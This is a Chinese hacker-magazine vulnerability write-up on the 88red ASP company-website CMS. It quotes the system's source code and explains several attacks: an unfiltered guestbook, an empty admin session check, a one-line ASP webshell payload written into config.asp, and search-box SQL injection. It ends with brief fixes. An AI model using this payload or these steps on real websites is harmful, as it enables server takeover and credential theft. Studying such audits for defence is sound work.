揭露88red系统
作者:小帥(xsser)@[0.S.T]
本文已发表在《黑客手册》第4期,转载请注明出处,或以超链接方式注明:http://blog.0kee.com/xiaoshuai 小帥's blog
很久没去asp300溜达了,不去总觉得的对不起这个发布站的流量,也对不起黑客手册那么多读者的强烈要求(别扔鸡蛋!扔钱!),那好,既然牛都吹起来了,我不得不冒着生命危险看看代码吧,反正我下载下来的时候就觉得很伟大,这个系统很伟大,他吹的比我还大,好好,我们看他怎么说的:88red生成htm静态页面企业建站系统V3.0经过精心打造正式推出,集合了网站地图、企业新闻中心、企业产品、搜索、客户留言、下载、投票系统等等功能,基本涵盖了一个企业网站所需要的基本功能。其生成静态页面的功能为广大企业网站优化搜索引擎SEO,提供了最大的帮助。系统设计了新的美工,更加贴近企业网站效果。我们用事实说话。1、未过滤的留言版打开目录后发现conn.asp、config.asp等文件,那就看看吧,首先看config.asp里没有什么特别的,conn.asp里容错了(就是防止暴库了),没戏?当然有,我们看下conn.asp:
<% on error resume next dim conn dim connstr dim db db="data/qiyedata.asa" Set conn = Server.CreateObject("ADODB.Connection") connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db) conn.Open connstr%>
顺藤摸…乱摸吧,摸到啥就是啥,我摸到了数据库,还是asa的,我先想到了一句话这个东西,一句话?什么东西能和一句话连在一起呢?怎么让他入库呢?用户、留言、发布等地方,我看了一下根目录都是静态的,想想html注入行不?这个想法我先搁着,去看留言,留言都是静态的,唉!没事,继续…根目录下有个叫savegb.asp的文件,想想也知道是保存留言的文件,那就看他的过滤吧,片断如下:
if request.form("code")="" then ‘验证码为空就“弹死你”response.write"<script language=javascript>alert('请填写您的名字');this.location.href='javascript:history.go(-1)';</script>"response.endend ifif request.form("content")="" then ‘你不写留言内容就剥夺你的发言权response.write"<script language=javascript>alert('请填写留言内容');this.location.href='javascript:history.go(-1)';</script>"response.endend ifset rs=server.createobject("adodb.recordset") ‘满足以上2个要求才让你去见数据库sql="select * from gb"rs.open sql,conn,3,3
唉!文件头也就个conn.asp没什么防止或者过滤的,这样就造成2个结果:第1、直接写一句话得到shell。第2、跨站脚本攻击咯!先来看第一个办法,写一句话(前提数据库里没干扰),如图1
然后我们点击“提交”,这样我们的一句话就输入到asa的数据库了。我是小旋风,asa格式的文件不解析的,所以我换成asp,但是原理是一样的,我们来看图2
这样我们就成功的把一句话插到了数据库里,接着就是提权什么的。第2个,我们来看xss,由xss大家要马上想到有不有办法拿到webshell,比如利用管理员的session进行操作什么的,跨站得到webshell,某牛人写过,我们来看后台吧,后台验证的还行,至少我们的万能钥匙不再万能。片段如下:
TheAdmin=Replace(Trim(Request("User")),"'","") ‘过滤了空格,并把单引号转换成空格Pass=Replace(Trim(Request("Pass")),"'","") ‘和上面一样的过滤。Set Rs=Server.CreateObject("Adodb.RecordSet")Sql="Select * From Admin Where admname='"&TheAdmin"'" 再进入数据库操作Rs.Open Sql,Conn,1,3If Rs.eof thenResponse.Write "<Script Language='javascript'>alert('对不起,此用户不存在!');window.location.href='Login.asp';</Script>"Response.EndElsePass1=Rs("admpass")If Pass1=Md5(Pass) thenSession("admin")=Rs("admname")Response.Redirect "Main.asp"ElseResponse.Write "<Script Language='javascript'>alert('对不起,密码错误!');window.location.href='Login.asp';</Script>"End IfEnd IfRs.CloseSet Rs=NothingConn.CloseSet Conn=Nothing
End If
没戏看了,单引号过滤了就被掐住了我们进后台的办法之一。继续看代码,思路现在整理一下,方便大家理解吧。留言过滤不严—à一句话入库—àxss—à后台验证很好,无法进入-à找到配置文件的文件头查看。2、利用漏洞1顺藤摸webshell我们用默认密码进去看看后台,啥白盒黑盒一起测试,测到webshell就是好tester,呵呵,废话不继续了,小心编辑扣小费,我们来看图3
很熟悉的,就是inc/config.asp里的,我们可以在这写一句话入库,当然如果有的系统抄袭88red,并且对留言进行过滤的话,我们在这个配置信息里写入“”%><%execute request(“IloveHackerNoteBook”)%>’”然后就会把后面的东西全部“格式化”,最后留下了一句“<%execute request(“******”)%>”这样的话,我们就连接/inc/config.asp或得webshell吧。呵呵,这些都是无稽之谈,因为我说这些是建立在没有密码进去的时候,没钥匙你怎么进去偷钱?(破比方,见笑!)那我们看看,这个屋子的主人是怎么验证你是他的亲戚的?看文件头有个session.asp,想必就是验证“血缘”关系的东西了。嘿嘿,是朋友是敌人,看这个文件,没这个文件谁都能进后台了,大吃一惊的是……session.asp竟然为空。我不知道这个系统的作者是怎么写的,那么要紧的文件吖!!!!好了好了,人家的门没有上锁,进去吧。如图4
撬锁工具,也没强迫屋主,就这样进了他的房间(大家千万别真和我学着去偷钱拉!)这个比喻只是想让大家形象点的了解验证是非常严肃的问题。我们可以直接上网站去修改东西也能在本地提交修改,全部都是ok的,我们来测试一下,如图5
我们先未授权来到信息参数设置,然后用一句话盖掉当前“”%><%execute request(“IloveHackerNoteBook”)%>’”,结果如图6
很成功的插进了一句话,接着就让大家把服务器拿下来吧!3、搜索注入搜索注入,这个系统估计是那些刚会程序的人写的,新的版本,真正靠自己的实力写的代码,过滤不严也不能利马责怪人家,可能下一个版本会不错,但是注入仍然存在,这个是事实,我们来看看这个事实的片断代码:
<% word=request("keyword") ‘客户端获取关键词,注意没过滤啊! if word="" then ‘还不能是空的 response.write"<script language=javascript>alert('关键字不能为空');this.location.href='javascript:history.go(-1)';</script>" response.end end if set rs=server.createobject("adodb.recordset") sql="select * from news where title like '%"&word"%' order by id desc" rs.open sql,conn,1,1 ‘关键词不为空,就能搜索了。 if rs.eof then response.write"<br><br><div align=center>没有搜索到新闻</div><br><br>" else%>
对于搜索型注入大家可以使用NBSI等牛人编写的工具注入,结果如图7
系统,这样猜解到了账号和密码就能去后台登陆了,虽然后台没验证。小小的总结一下:这个系统虽然发布后有点火,我们也该让程序高兴是吧!鼓励是种动力,否则我们小菜读什么代码呢?!总的来说,这个系统最严重的就是session.asp这个文件为空导致整个站不安全的。还有搜索型注入没过滤好,导致攻击者能任意获取账号和密码从而威胁到网站的安全,还有,数据库既然设置成了asa就得加个什么干扰的2进制数据库进去,加载个nodown表,防止一句话如库。我不上论坛,但我有博客:www.xshacker.com.cn,欢迎大家和我交流.